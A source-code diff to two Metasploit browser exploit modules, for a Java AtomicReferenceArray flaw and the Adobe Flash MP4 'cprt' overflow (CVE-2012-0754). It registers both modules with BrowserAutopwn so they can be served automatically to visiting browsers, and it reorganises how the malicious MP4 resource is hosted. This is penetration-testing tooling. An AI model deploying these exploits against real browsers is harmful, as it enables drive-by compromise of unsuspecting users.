diff --git a/modules/exploits/multi/browser/java_atomicreferencearray.rb b/modules/exploits/multi/browser/java_atomicreferencearray.rb index 1ce83d4457..755e872dbc 100644 --- a/modules/exploits/multi/browser/java_atomicreferencearray.rb +++ b/modules/exploits/multi/browser/java_atomicreferencearray.rb @@ -14,6 +14,9 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ :javascript => false }) + def initialize( info = {} ) super( update_info( info, @@ -171,3 +174,4 @@ class Metasploit3 < Msf::Exploit::Remote end end + diff --git a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb index 9f7945ae66..1c5da9a200 100644 --- a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb +++ b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb @@ -12,6 +12,15 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :os_name => OperatingSystems::WINDOWS, + :vuln_test => "GetVariable", + :classid => "ShockwaveFlash.ShockwaveFlash", + :rank => NormalRanking, # reliable memory corruption + :javascript => true + }) + def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player MP4 'cprt' Overflow", @@ -212,6 +221,21 @@ class Metasploit3 < Msf::Exploit::Remote end end + def exploit + @swf = create_swf + super + + # + # "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource + # + proc = Proc.new do |cli, req| + on_request_uri(cli, req) + end + + self.add_resource({'Path'=>'/test.mp4', 'Proc'=>proc})# rescue nil + + end + def on_request_uri(cli, request) agent = request.headers['User-Agent'] @@ -299,28 +323,16 @@ pluginspage="http://www.macromedia.com/go/getflashplayer"> html = html.gsub(/^\t\t/, '') - # - # "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource - # - proc = Proc.new do |cli, req| - on_request_uri(cli, req) - end - - add_resource({'Path'=>'/test.mp4', 'Proc'=>proc}) rescue nil print_status("#{cli.peerhost}:#{cli.peerport} - Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end def cleanup + print_status("Removing mp4 resource") remove_resource('/test.mp4') rescue nil super end - def exploit - @swf = create_swf - super - end - def create_swf path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0754.swf" ) fd = ::File.open( path, "rb" )